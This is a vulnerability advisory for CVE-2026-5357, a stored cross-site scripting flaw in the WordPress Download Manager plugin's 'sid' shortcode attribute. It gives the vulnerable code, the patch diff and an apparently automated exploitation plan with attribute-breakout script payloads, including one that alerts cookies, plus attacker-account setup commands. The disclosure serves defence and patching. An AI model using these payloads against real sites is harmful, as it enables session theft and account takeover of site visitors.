CVE-2026-5357

Download Manager <= 3.3.52 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.3.53
Patched in
1d
Time to patch

Description

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sid' parameter of the 'wpdm_members' shortcode in versions up to and including 3.3.52. This is due to insufficient input sanitization and output escaping on the user-supplied 'sid' shortcode attribute. The sid parameter is extracted without sanitization in the members() function and stored via update_post_meta(), then echoed directly into an HTML id attribute in the members.php template without applying esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.3.52
PublishedApril 8, 2026
Last updatedApril 9, 2026
Affected plugindownload-manager

What Changed in the Fix

Changes introduced in v3.3.53

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5357 ## 1. Vulnerability Summary The **Download Manager** plugin (<= 3.3.52) contains a stored cross-site scripting (XSS) vulnerability within the `[wpdm_members]` and `[wpdm_authors]` shortcodes. The vulnerability arises because the `sid` attribute (shortcod…

Show full research plan

Exploitation Research Plan - CVE-2026-5357

1. Vulnerability Summary

The Download Manager plugin (<= 3.3.52) contains a stored cross-site scripting (XSS) vulnerability within the [wpdm_members] and [wpdm_authors] shortcodes. The vulnerability arises because the sid attribute (shortcode ID) is extracted without sanitization in the members() function of the WPDM\User\User class. This value is subsequently stored in post metadata via update_post_meta() and, more critically, rendered directly into an HTML id attribute within the members.php template without any output escaping (such as esc_attr()).

2. Attack Vector Analysis

  • Shortcode: [wpdm_members] or [wpdm_authors].
  • Vulnerable Attribute: sid.
  • Authentication Level: Contributor+ (any user with the edit_posts capability who can use shortcodes).
  • Preconditions: The attacker must be able to create or edit a post/page and insert a shortcode.
  • Payload Delivery: The payload is delivered by saving a post containing the malicious shortcode. Execution occurs when any user (including administrators) views the post.

3. Code Flow

  1. Entry Point: src/User/User.php: WPDM\User\User::__construct() registers the shortcodes:
    add_shortcode('wpdm_members', [$this, 'members']);
    add_shortcode('wpdm_authors', [$this, 'members']);
    
  2. Processing Source: src/User/User.php: WPDM\User\User::members($params):
    function members($params = array())
    {
        $sid = isset($params['sid']) ? $params['sid'] : '';
        // Storage sink (side-effect)
        update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params);
        ob_start();
        // Template inclusion
        include Template::locate("members.php", __DIR__.'/views');
        return ob_get_clean();
    }
    
  3. Sink: src/User/views/members.php (inferred from description):
    The template uses the $sid variable directly inside an HTML attribute:
    <div id="wpdm-members-<?php echo $sid; ?>"> 
    
    Since $sid is taken directly from the $params array passed to the shortcode handler, an attacker can inject a breakout sequence.

4. Nonce Acquisition Strategy

No nonce is required.
Shortcodes are executed by the WordPress core do_shortcode() function when a post's content is rendered. The "storage" occurs as a side effect of rendering the shortcode (update_post_meta is called inside the shortcode handler). Therefore, the only "request" needed to store and trigger the XSS is the standard post creation/edit request, which is protected by standard WordPress _wpnonce for post editing, but once the post is published, the vulnerability triggers for every viewer without further authentication or nonces.

5. Exploitation Strategy

Step 1: Create a Post with a Malicious Shortcode

Use a Contributor account to create a post containing the XSS payload.

  • URL: http://[target]/wp-admin/post-new.php
  • Method: POST (via http_request or automation tool to simulate the Save/Publish action).
  • Payload:
    [wpdm_members sid='"><script>alert(document.cookie)</script>']
    
    Alternative payload for attribute breakout:
    [wpdm_members sid='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
    

Step 2: View the Post

Navigate to the URL of the newly created post.

  • URL: http://[target]/?p=[POST_ID]
  • Action: Render the page content.

6. Test Data Setup

  1. User Creation:
    • Create a user with the Contributor role using WP-CLI:
      wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation:
    • Ensure download-manager version 3.3.52 is active.

7. Expected Results

  • Upon viewing the post, the HTML source should contain a broken id attribute similar to:
    <div id="wpdm-members-"><script>alert(document.cookie)</script>">
  • A JavaScript alert box showing the user's cookies should appear in the browser.

8. Verification Steps

  1. Check Post Meta: Verify that the malicious sid was used in a meta key:
    wp post meta list [POST_ID]
    Look for a key starting with __wpdm_users_params.
  2. Inspect HTML Output:
    Use browser_navigate to the post and browser_eval to check for the script:
    browser_eval("document.querySelector('script').textContent.includes('alert')")

9. Alternative Approaches

If the sid is sanitized before storage but not before output (unlikely given the code), attempt to use other parameters in the $params array if they are also echoed in members.php.
Parameters to test: cols, items_per_page, role.

If wpdm_members doesn't render as expected, try the alias:
[wpdm_authors sid='"><script>alert(1)</script>']

If the site uses the Block Editor (Gutenberg), the payload can be inserted via a "Shortcode" block or a "Classic" block. The underlying storage mechanism remains post_content.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sid' attribute of the [wpdm_members] and [wpdm_authors] shortcodes. Authenticated attackers with contributor-level permissions can inject arbitrary web scripts into pages that execute when users view the affected content, due to insufficient sanitization and escaping of the shortcode ID parameter.

Vulnerable Code

// src/User/User.php

function members($params = array())
{
    $sid = isset($params['sid']) ? $params['sid'] : ''; // Line 175: No sanitization of user-supplied sid
    update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params);
    ob_start();
    include Template::locate("members.php", __DIR__.'/views');
    return ob_get_clean();
}

---

// src/User/User.php (within listAuthors context)

if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true); // Line 187: Unsanitized use of _sid query variable

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/download-manager/3.3.52/src/User/User.php /home/deploy/wp-safety.org/data/plugin-versions/download-manager/3.3.53/src/User/User.php
--- /home/deploy/wp-safety.org/data/plugin-versions/download-manager/3.3.52/src/User/User.php	2026-01-04 02:25:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/download-manager/3.3.53/src/User/User.php	2026-04-08 04:20:26.000000000 +0000
@@ -172,7 +172,8 @@
 
     function members($params = array())
     {
-        $sid = isset($params['sid']) ? $params['sid'] : '';
+        $sid = isset($params['sid']) ? preg_replace('/[^a-zA-Z0-9_\-]/', '', $params['sid']) : '';
+        $params['sid'] = $sid;
         update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params);
         ob_start();
         include Template::locate("members.php", __DIR__.'/views');
@@ -183,7 +184,7 @@
 
     {
 
-        if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true);
+        if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . preg_replace('/[^a-zA-Z0-9_\-]/', '', wpdm_query_var('_sid')), true);
         $page = isset($_REQUEST['cp']) && $_REQUEST['cp'] > 0 ? (int)$_REQUEST['cp'] : 1;
         $items_per_page = isset($params['items_per_page']) ? $params['items_per_page'] : 12;
         //$offset = $page * $items_per_page;

Exploit Outline

The exploit is achieved by an authenticated user (Contributor or higher) creating a post or page and inserting a malicious shortcode. The attacker sets the 'sid' attribute of the [wpdm_members] or [wpdm_authors] shortcode to contain a payload designed to break out of an HTML attribute (e.g., sid='"><script>alert(1)</script>'). When the post is rendered, the handler in User.php processes the unsanitized 'sid' and includes the members.php template, which reflects the 'sid' value directly into an HTML element's 'id' attribute without escaping, leading to script execution in the viewer's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.